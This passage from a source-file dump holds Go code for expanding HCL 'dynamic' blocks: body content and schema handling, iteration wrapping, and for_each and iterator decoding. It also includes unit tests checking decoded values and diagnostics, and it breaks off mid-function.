&hcl.BodyContent{\n        Attributes:       attrs,\n        Blocks:           blocks,\n        MissingItemRange: b.original.MissingItemRange(),\n    }\n\n    return content, diags\n}\n\nfunc (b *expandBody) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) {\n    extSchema := b.extendSchema(schema)\n    rawContent, _, diags := b.original.PartialContent(extSchema)\n    // We discard the \"remain\" argument above because we're going to construct\n    // our own remain that also takes into account remaining \"dynamic\" blocks.\n\n    blocks, blockDiags := b.expandBlocks(schema, rawContent.Blocks, true)\n    diags = append(diags, blockDiags...)\n    attrs := b.prepareAttributes(rawContent.Attributes)\n\n    content := &hcl.BodyContent{\n        Attributes:       attrs,\n        Blocks:           blocks,\n        MissingItemRange: b.original.MissingItemRange(),\n    }\n\n    remain := &expandBody{\n        original:     b.original,\n        forEachCtx:   b.forEachCtx,\n        iteration:    b.iteration,\n        hiddenAttrs:  make(map[string]struct{}),\n        hiddenBlocks: make(map[string]hcl.BlockHeaderSchema),\n    }\n    for name := range b.hiddenAttrs {\n        remain.hiddenAttrs[name] = struct{}{}\n    }\n    for typeName, blockS := range b.hiddenBlocks {\n        remain.hiddenBlocks[typeName] = blockS\n    }\n    for _, attrS := range schema.Attributes {\n        remain.hiddenAttrs[attrS.Name] = struct{}{}\n    }\n    for _, blockS := range schema.Blocks {\n        remain.hiddenBlocks[blockS.Type] = blockS\n    }\n\n    return content, remain, diags\n}\n\nfunc (b *expandBody) extendSchema(schema *hcl.BodySchema) *hcl.BodySchema {\n    // We augment the requested schema to also include our special \"dynamic\"\n    // block type, since then we'll get instances of it interleaved with\n    // all of the literal child blocks we must also include.\n    extSchema := &hcl.BodySchema{\n        Attributes: schema.Attributes,\n        Blocks:     make([]hcl.BlockHeaderSchema, len(schema.Blocks), len(schema.Blocks)+len(b.hiddenBlocks)+1),\n    }\n    copy(extSchema.Blocks, schema.Blocks)\n    extSchema.Blocks = append(extSchema.Blocks, dynamicBlockHeaderSchema)\n\n    // If we have any hiddenBlocks then we also need to register those here\n    // so that a call to \"Content\" on the underlying body won't fail.\n    // (We'll filter these out again once we process the result of either\n    // Content or PartialContent.)\n    for _, blockS := range b.hiddenBlocks {\n        extSchema.Blocks = append(extSchema.Blocks, blockS)\n    }\n\n    // If we have any hiddenAttrs then we also need to register these, for\n    // the same reason as we deal with hiddenBlocks above.\n    if len(b.hiddenAttrs) != 0 {\n        newAttrs := make([]hcl.AttributeSchema, len(schema.Attributes), len(schema.Attributes)+len(b.hiddenAttrs))\n        copy(newAttrs, extSchema.Attributes)\n        for name := range b.hiddenAttrs {\n            newAttrs = append(newAttrs, hcl.AttributeSchema{\n                Name:     name,\n                Required: false,\n            })\n        }\n        extSchema.Attributes = newAttrs\n    }\n\n    return extSchema\n}\n\nfunc (b *expandBody) prepareAttributes(rawAttrs hcl.Attributes) hcl.Attributes {\n    if len(b.hiddenAttrs) == 0 && b.iteration == nil {\n        // Easy path: just pass through the attrs from the original body verbatim\n        return rawAttrs\n    }\n\n    // Otherwise we have some work to do: we must filter out any attributes\n    // that are hidden (since a previous PartialContent call already saw these)\n    // and wrap the expressions of the inner attributes so that they will\n    // have access to our iteration variables.\n    attrs := make(hcl.Attributes, len(rawAttrs))\n    for name, rawAttr := range rawAttrs {\n        if _, hidden := b.hiddenAttrs[name]; hidden {\n            continue\n        }\n        if b.iteration != nil {\n            attr := *rawAttr // shallow copy so we can mutate it\n            attr.Expr = exprWrap{\n                Expression: attr.Expr,\n                i:          b.iteration,\n            }\n            attrs[name] = &attr\n        } else {\n            // If we have no active iteration then no wrapping is required.\n            attrs[name] = rawAttr\n        }\n    }\n    return attrs\n}\n\nfunc (b *expandBody) expandBlocks(schema *hcl.BodySchema, rawBlocks hcl.Blocks, partial bool) (hcl.Blocks, hcl.Diagnostics) {\n    var blocks hcl.Blocks\n    var diags hcl.Diagnostics\n\n    for _, rawBlock := range rawBlocks {\n        switch rawBlock.Type {\n        case \"dynamic\":\n            realBlockType := rawBlock.Labels[0]\n            if _, hidden := b.hiddenBlocks[realBlockType]; hidden {\n                continue\n            }\n\n            var blockS *hcl.BlockHeaderSchema\n            for _, candidate := range schema.Blocks {\n                if candidate.Type == realBlockType {\n                    blockS = &candidate\n                    break\n                }\n            }\n            if blockS == nil {\n                // Not a block type that the caller requested.\n                if !partial {\n                    diags = append(diags, &hcl.Diagnostic{\n                        Severity: hcl.DiagError,\n                        Summary:  \"Unsupported block type\",\n                        Detail:   fmt.Sprintf(\"Blocks of type %q are not expected here.\", realBlockType),\n                        Subject:  &rawBlock.LabelRanges[0],\n                    })\n                }\n                continue\n            }\n\n            spec, specDiags := b.decodeSpec(blockS, rawBlock)\n            diags = append(diags, specDiags...)\n            if specDiags.HasErrors() {\n                continue\n            }\n\n            if spec.forEachVal.IsKnown() {\n                for it := spec.forEachVal.ElementIterator(); it.Next(); {\n                    key, value := it.Element()\n                    i := b.iteration.MakeChild(spec.iteratorName, key, value)\n\n                    block, blockDiags := spec.newBlock(i, b.forEachCtx)\n                    diags = append(diags, blockDiags...)\n                    if block != nil {\n                        // Attach our new iteration context so that attributes\n                        // and other nested blocks can refer to our iterator.\n                        block.Body = b.expandChild(block.Body, i)\n                        blocks = append(blocks, block)\n                    }\n                }\n            } else {\n                // If our top-level iteration value isn't known then we\n                // substitute an unknownBody, which will cause the entire block\n                // to evaluate to an unknown value.\n                i := b.iteration.MakeChild(spec.iteratorName, cty.DynamicVal, cty.DynamicVal)\n                block, blockDiags := spec.newBlock(i, b.forEachCtx)\n                diags = append(diags, blockDiags...)\n                if block != nil {\n                    block.Body = unknownBody{b.expandChild(block.Body, i)}\n                    blocks = append(blocks, block)\n                }\n            }\n\n        default:\n            if _, hidden := b.hiddenBlocks[rawBlock.Type]; !hidden {\n                // A static block doesn't create a new iteration context, but\n                // it does need to inherit _our own_ iteration context in\n                // case it contains expressions that refer to our inherited\n                // iterators, or nested \"dynamic\" blocks.\n                expandedBlock := *rawBlock // shallow copy\n                expandedBlock.Body = b.expandChild(rawBlock.Body, b.iteration)\n                blocks = append(blocks, &expandedBlock)\n            }\n        }\n    }\n\n    return blocks, diags\n}\n\nfunc (b *expandBody) expandChild(child hcl.Body, i *iteration) hcl.Body {\n    chiCtx := i.EvalContext(b.forEachCtx)\n    ret := Expand(child, chiCtx)\n    ret.(*expandBody).iteration = i\n    return ret\n}\n\nfunc (b *expandBody) JustAttributes() (hcl.Attributes, hcl.Diagnostics) {\n    // blocks aren't allowed in JustAttributes mode and this body can\n    // only produce blocks, so we'll just pass straight through to our\n    // underlying body here.\n    return b.original.JustAttributes()\n}\n\nfunc (b *expandBody) MissingItemRange() hcl.Range {\n    return b.original.MissingItemRange()\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/expand_body_test.go",
    "content": "package dynblock\n\nimport (\n    \"strings\"\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hcldec\"\n    \"Havoc/pkg/profile/yaotl/hcltest\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestExpand(t *testing.T) {\n    srcBody := hcltest.MockBody(&hcl.BodyContent{\n        Blocks: hcl.Blocks{\n            {\n                Type:        \"a\",\n                Labels:      []string{\"static0\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"val\": hcltest.MockExprLiteral(cty.StringVal(\"static a 0\")),\n                    }),\n                }),\n            },\n            {\n                Type: \"b\",\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"c\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val0\": hcltest.MockExprLiteral(cty.StringVal(\"static c 0\")),\n                                }),\n                            }),\n                        },\n                        {\n                            Type:        \"dynamic\",\n                            Labels:      []string{\"c\"},\n                            LabelRanges: []hcl.Range{hcl.Range{}},\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"for_each\": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{\n                                        cty.StringVal(\"dynamic c 0\"),\n                                        cty.StringVal(\"dynamic c 1\"),\n                                    })),\n                                    \"iterator\": hcltest.MockExprVariable(\"dyn_c\"),\n                                }),\n                                Blocks: hcl.Blocks{\n                                    {\n                                        Type: \"content\",\n                                        Body: hcltest.MockBody(&hcl.BodyContent{\n                                            Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                                \"val0\": hcltest.MockExprTraversalSrc(\"dyn_c.value\"),\n                                            }),\n                                        }),\n                                    },\n                                },\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"a\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{\n                            cty.StringVal(\"dynamic a 0\"),\n                            cty.StringVal(\"dynamic a 1\"),\n                            cty.StringVal(\"dynamic a 2\"),\n                        })),\n                        \"labels\": hcltest.MockExprList([]hcl.Expression{\n                            hcltest.MockExprTraversalSrc(\"a.key\"),\n                        }),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val\": hcltest.MockExprTraversalSrc(\"a.value\"),\n                                }),\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"b\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{\n                            cty.StringVal(\"dynamic b 0\"),\n                            cty.StringVal(\"dynamic b 1\"),\n                        })),\n                        \"iterator\": hcltest.MockExprVariable(\"dyn_b\"),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Blocks: hcl.Blocks{\n                                    {\n                                        Type: \"c\",\n                                        Body: hcltest.MockBody(&hcl.BodyContent{\n                                            Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                                \"val0\": hcltest.MockExprLiteral(cty.StringVal(\"static c 1\")),\n                                                \"val1\": hcltest.MockExprTraversalSrc(\"dyn_b.value\"),\n                                            }),\n                                        }),\n                                    },\n                                    {\n                                        Type:        \"dynamic\",\n                                        Labels:      []string{\"c\"},\n                                        LabelRanges: []hcl.Range{hcl.Range{}},\n                                        Body: hcltest.MockBody(&hcl.BodyContent{\n                                            Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                                \"for_each\": hcltest.MockExprLiteral(cty.ListVal([]cty.Value{\n                                                    cty.StringVal(\"dynamic c 2\"),\n                                                    cty.StringVal(\"dynamic c 3\"),\n                                                })),\n                                            }),\n                                            Blocks: hcl.Blocks{\n                                                {\n                                                    Type: \"content\",\n                                                    Body: hcltest.MockBody(&hcl.BodyContent{\n                                                        Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                                            \"val0\": hcltest.MockExprTraversalSrc(\"c.value\"),\n                                                            \"val1\": hcltest.MockExprTraversalSrc(\"dyn_b.value\"),\n                                                        }),\n                                                    }),\n                                                },\n                                            },\n                                        }),\n                                    },\n                                },\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"b\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.MapVal(map[string]cty.Value{\n                            \"foo\": cty.ListVal([]cty.Value{\n                                cty.StringVal(\"dynamic c nested 0\"),\n                                cty.StringVal(\"dynamic c nested 1\"),\n                            }),\n                        })),\n                        \"iterator\": hcltest.MockExprVariable(\"dyn_b\"),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Blocks: hcl.Blocks{\n                                    {\n                                        Type:        \"dynamic\",\n                                        Labels:      []string{\"c\"},\n                                        LabelRanges: []hcl.Range{hcl.Range{}},\n                                        Body: hcltest.MockBody(&hcl.BodyContent{\n                                            Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                                \"for_each\": hcltest.MockExprTraversalSrc(\"dyn_b.value\"),\n                                            }),\n                                            Blocks: hcl.Blocks{\n                                                {\n                                                    Type: \"content\",\n                                                    Body: hcltest.MockBody(&hcl.BodyContent{\n                                                        Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                                            \"val0\": hcltest.MockExprTraversalSrc(\"c.value\"),\n                                                            \"val1\": hcltest.MockExprTraversalSrc(\"dyn_b.key\"),\n                                                        }),\n                                                    }),\n                                                },\n                                            },\n                                        }),\n                                    },\n                                },\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"a\",\n                Labels:      []string{\"static1\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"val\": hcltest.MockExprLiteral(cty.StringVal(\"static a 1\")),\n                    }),\n                }),\n            },\n        },\n    })\n\n    dynBody := Expand(srcBody, nil)\n    var remain hcl.Body\n\n    t.Run(\"PartialDecode\", func(t *testing.T) {\n        decSpec := &hcldec.BlockMapSpec{\n            TypeName:   \"a\",\n            LabelNames: []string{\"key\"},\n            Nested: &hcldec.AttrSpec{\n                Name:     \"val\",\n                Type:     cty.String,\n                Required: true,\n            },\n        }\n\n        var got cty.Value\n        var diags hcl.Diagnostics\n        got, remain, diags = hcldec.PartialDecode(dynBody, decSpec, nil)\n        if len(diags) != 0 {\n            t.Errorf(\"unexpected diagnostics\")\n            for _, diag := range diags {\n                t.Logf(\"- %s\", diag)\n            }\n            return\n        }\n\n        want := cty.MapVal(map[string]cty.Value{\n            \"static0\": cty.StringVal(\"static a 0\"),\n            \"static1\": cty.StringVal(\"static a 1\"),\n            \"0\":       cty.StringVal(\"dynamic a 0\"),\n            \"1\":       cty.StringVal(\"dynamic a 1\"),\n            \"2\":       cty.StringVal(\"dynamic a 2\"),\n        })\n\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n\n    t.Run(\"Decode\", func(t *testing.T) {\n        decSpec := &hcldec.BlockListSpec{\n            TypeName: \"b\",\n            Nested: &hcldec.BlockListSpec{\n                TypeName: \"c\",\n                Nested: &hcldec.ObjectSpec{\n                    \"val0\": &hcldec.AttrSpec{\n                        Name: \"val0\",\n                        Type: cty.String,\n                    },\n                    \"val1\": &hcldec.AttrSpec{\n                        Name: \"val1\",\n                        Type: cty.String,\n                    },\n                },\n            },\n        }\n\n        var got cty.Value\n        var diags hcl.Diagnostics\n        got, diags = hcldec.Decode(remain, decSpec, nil)\n        if len(diags) != 0 {\n            t.Errorf(\"unexpected diagnostics\")\n            for _, diag := range diags {\n                t.Logf(\"- %s\", diag)\n            }\n            return\n        }\n\n        want := cty.ListVal([]cty.Value{\n            cty.ListVal([]cty.Value{\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"static c 0\"),\n                    \"val1\": cty.NullVal(cty.String),\n                }),\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c 0\"),\n                    \"val1\": cty.NullVal(cty.String),\n                }),\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c 1\"),\n                    \"val1\": cty.NullVal(cty.String),\n                }),\n            }),\n            cty.ListVal([]cty.Value{\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"static c 1\"),\n                    \"val1\": cty.StringVal(\"dynamic b 0\"),\n                }),\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c 2\"),\n                    \"val1\": cty.StringVal(\"dynamic b 0\"),\n                }),\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c 3\"),\n                    \"val1\": cty.StringVal(\"dynamic b 0\"),\n                }),\n            }),\n            cty.ListVal([]cty.Value{\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"static c 1\"),\n                    \"val1\": cty.StringVal(\"dynamic b 1\"),\n                }),\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c 2\"),\n                    \"val1\": cty.StringVal(\"dynamic b 1\"),\n                }),\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c 3\"),\n                    \"val1\": cty.StringVal(\"dynamic b 1\"),\n                }),\n            }),\n            cty.ListVal([]cty.Value{\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c nested 0\"),\n                    \"val1\": cty.StringVal(\"foo\"),\n                }),\n                cty.ObjectVal(map[string]cty.Value{\n                    \"val0\": cty.StringVal(\"dynamic c nested 1\"),\n                    \"val1\": cty.StringVal(\"foo\"),\n                }),\n            }),\n        })\n\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n\n}\n\nfunc TestExpandUnknownBodies(t *testing.T) {\n    srcContent := &hcl.BodyContent{\n        Blocks: hcl.Blocks{\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"list\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val\": hcltest.MockExprTraversalSrc(\"each.value\"),\n                                }),\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"tuple\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val\": hcltest.MockExprTraversalSrc(\"each.value\"),\n                                }),\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"set\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val\": hcltest.MockExprTraversalSrc(\"each.value\"),\n                                }),\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"map\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))),\n                        \"labels\": hcltest.MockExprList([]hcl.Expression{\n                            hcltest.MockExprLiteral(cty.StringVal(\"static\")),\n                        }),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val\": hcltest.MockExprTraversalSrc(\"each.value\"),\n                                }),\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"object\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))),\n                        \"labels\": hcltest.MockExprList([]hcl.Expression{\n                            hcltest.MockExprLiteral(cty.StringVal(\"static\")),\n                        }),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val\": hcltest.MockExprTraversalSrc(\"each.value\"),\n                                }),\n                            }),\n                        },\n                    },\n                }),\n            },\n            {\n                Type:        \"dynamic\",\n                Labels:      []string{\"invalid_list\"},\n                LabelRanges: []hcl.Range{hcl.Range{}},\n                Body: hcltest.MockBody(&hcl.BodyContent{\n                    Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                        \"for_each\": hcltest.MockExprLiteral(cty.UnknownVal(cty.Map(cty.String))),\n                    }),\n                    Blocks: hcl.Blocks{\n                        {\n                            Type: \"content\",\n                            Body: hcltest.MockBody(&hcl.BodyContent{\n                                Attributes: hcltest.MockAttrs(map[string]hcl.Expression{\n                                    \"val\": hcltest.MockExprTraversalSrc(\"each.value\"),\n                                    // unexpected attributes should still produce an error\n                                    \"invalid\": hcltest.MockExprLiteral(cty.StringVal(\"static\")),\n                                }),\n                            }),\n                        },\n                    },\n                }),\n            },\n        },\n    }\n\n    srcBody := hcltest.MockBody(srcContent)\n    dynBody := Expand(srcBody, nil)\n\n    t.Run(\"DecodeList\", func(t *testing.T) {\n        decSpec := &hcldec.BlockListSpec{\n            TypeName: \"list\",\n            Nested: &hcldec.ObjectSpec{\n                \"val\": &hcldec.AttrSpec{\n                    Name: \"val\",\n                    Type: cty.String,\n                },\n            },\n        }\n\n        var got cty.Value\n        var diags hcl.Diagnostics\n\n        got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil)\n        if len(diags) != 0 {\n            t.Errorf(\"unexpected diagnostics\")\n            for _, diag := range diags {\n                t.Logf(\"- %s\", diag)\n            }\n            return\n        }\n\n        want := cty.UnknownVal(cty.List(cty.Object(map[string]cty.Type{\n            \"val\": cty.String,\n        })))\n\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n\n    t.Run(\"DecodeTuple\", func(t *testing.T) {\n        decSpec := &hcldec.BlockTupleSpec{\n            TypeName: \"tuple\",\n            Nested: &hcldec.ObjectSpec{\n                \"val\": &hcldec.AttrSpec{\n                    Name: \"val\",\n                    Type: cty.String,\n                },\n            },\n        }\n\n        var got cty.Value\n        var diags hcl.Diagnostics\n\n        got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil)\n        if len(diags) != 0 {\n            t.Errorf(\"unexpected diagnostics\")\n            for _, diag := range diags {\n                t.Logf(\"- %s\", diag)\n            }\n            return\n        }\n\n        want := cty.DynamicVal\n\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n\n    t.Run(\"DecodeSet\", func(t *testing.T) {\n        decSpec := &hcldec.BlockSetSpec{\n            TypeName: \"tuple\",\n            Nested: &hcldec.ObjectSpec{\n                \"val\": &hcldec.AttrSpec{\n                    Name: \"val\",\n                    Type: cty.String,\n                },\n            },\n        }\n\n        var got cty.Value\n        var diags hcl.Diagnostics\n\n        got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil)\n        if len(diags) != 0 {\n            t.Errorf(\"unexpected diagnostics\")\n            for _, diag := range diags {\n                t.Logf(\"- %s\", diag)\n            }\n            return\n        }\n\n        want := cty.UnknownVal(cty.Set(cty.Object(map[string]cty.Type{\n            \"val\": cty.String,\n        })))\n\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n\n    t.Run(\"DecodeMap\", func(t *testing.T) {\n        decSpec := &hcldec.BlockMapSpec{\n            TypeName:   \"map\",\n            LabelNames: []string{\"key\"},\n            Nested: &hcldec.ObjectSpec{\n                \"val\": &hcldec.AttrSpec{\n                    Name: \"val\",\n                    Type: cty.String,\n                },\n            },\n        }\n\n        var got cty.Value\n        var diags hcl.Diagnostics\n\n        got, _, diags = hcldec.PartialDecode(dynBody, decSpec, nil)\n        if len(diags) != 0 {\n            t.Errorf(\"unexpected diagnostics\")\n            for _, diag := range diags {\n                t.Logf(\"- %s\", diag)\n            }\n            return\n        }\n\n        want := cty.UnknownVal(cty.Map(cty.Object(map[string]cty.Type{\n            \"val\": cty.String,\n        })))\n\n        if !got.RawEquals(want) {\n            t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, want)\n        }\n    })\n\n    t.Run(\"DecodeInvalidList\", func(t *testing.T) {\n        decSpec := &hcldec.BlockListSpec{\n            TypeName: \"invalid_list\",\n            Nested: &hcldec.ObjectSpec{\n                \"val\": &hcldec.AttrSpec{\n                    Name: \"val\",\n                    Type: cty.String,\n                },\n            },\n        }\n\n        _, _, diags := hcldec.PartialDecode(dynBody, decSpec, nil)\n        if len(diags) != 1 {\n            t.Error(\"expected 1 extraneous argument\")\n        }\n\n        want := `Mock body has extraneous argument \"invalid\"`\n\n        if !strings.Contains(diags.Error(), want) {\n            t.Errorf(\"unexpected diagnostics: %v\", diags)\n        }\n    })\n\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/ext/dynblock/expand_spec.go",
    "content": "package dynblock\n\nimport (\n    \"fmt\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n)\n\ntype expandSpec struct {\n    blockType      string\n    blockTypeRange hcl.Range\n    defRange       hcl.Range\n    forEachVal     cty.Value\n    iteratorName   string\n    labelExprs     []hcl.Expression\n    contentBody    hcl.Body\n    inherited      map[string]*iteration\n}\n\nfunc (b *expandBody) decodeSpec(blockS *hcl.BlockHeaderSchema, rawSpec *hcl.Block) (*expandSpec, hcl.Diagnostics) {\n    var diags hcl.Diagnostics\n\n    var schema *hcl.BodySchema\n    if len(blockS.LabelNames) != 0 {\n        schema = dynamicBlockBodySchemaLabels\n    } else {\n        schema = dynamicBlockBodySchemaNoLabels\n    }\n\n    specContent, specDiags := rawSpec.Body.Content(schema)\n    diags = append(diags, specDiags...)\n    if specDiags.HasErrors() {\n        return nil, diags\n    }\n\n    //// for_each attribute\n\n    eachAttr := specContent.Attributes[\"for_each\"]\n    eachVal, eachDiags := eachAttr.Expr.Value(b.forEachCtx)\n    diags = append(diags, eachDiags...)\n\n    if !eachVal.CanIterateElements() && eachVal.Type() != cty.DynamicPseudoType {\n        // We skip this error for DynamicPseudoType because that means we either\n        // have a null (which is checked immediately below) or an unknown\n        // (which is handled in the expandBody Content methods).\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Invalid dynamic for_each value\",\n            Detail:      fmt.Sprintf(\"Cannot use a %s value in for_each. An iterable collection is required.\", eachVal.Type().FriendlyName()),\n            Subject:     eachAttr.Expr.Range().Ptr(),\n            Expression:  eachAttr.Expr,\n            EvalContext: b.forEachCtx,\n        })\n        return nil, diags\n    }\n    if eachVal.IsNull() {\n        diags = append(diags, &hcl.Diagnostic{\n            Severity:    hcl.DiagError,\n            Summary:     \"Invalid dynamic for_each value\",\n            Detail:      \"Cannot use a null value in for_each.\",\n            Subject:     eachAttr.Expr.Range().Ptr(),\n            Expression:  eachAttr.Expr,\n            EvalContext: b.forEachCtx,\n        })\n        return nil, diags\n    }\n\n    //// iterator attribute\n\n    iteratorName := blockS.Type\n    if iteratorAttr := specContent.Attributes[\"iterator\"]; iteratorAttr != nil {\n        itTraversal, itDiags := hcl.AbsTraversalForExpr(iteratorAttr.Expr)\n        diags = append(diags, itDiags...)\n        if itDiags.HasErrors() {\n            return nil, diags\n        }\n\n        if len(itTraversal) != 1 {\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid dynamic iterator name\",\n                Detail:   \"Dynamic iterator must be a single variable name.\",\n                Subject:  itTraversal.SourceRange().Ptr(),\n            })\n            return nil, diags\n        }\n\n        iteratorName = itTraversal.RootName()\n    }\n\n    var labelExprs []hcl.Expression\n    if labelsAttr := specContent.Attributes[\"labels\"]; labelsAttr != nil {\n        var labelDiags hcl.Diagnostics\n        labelExprs, labelDiags = hcl.ExprList(labelsAttr.Expr)\n        diags = append(diags, labelDiags...)\n        if labelDiags.HasErrors() {\n            return nil, diags\n        }\n\n        if len(labelExprs) > len(blockS.LabelNames) {\n            diags = append(diags, 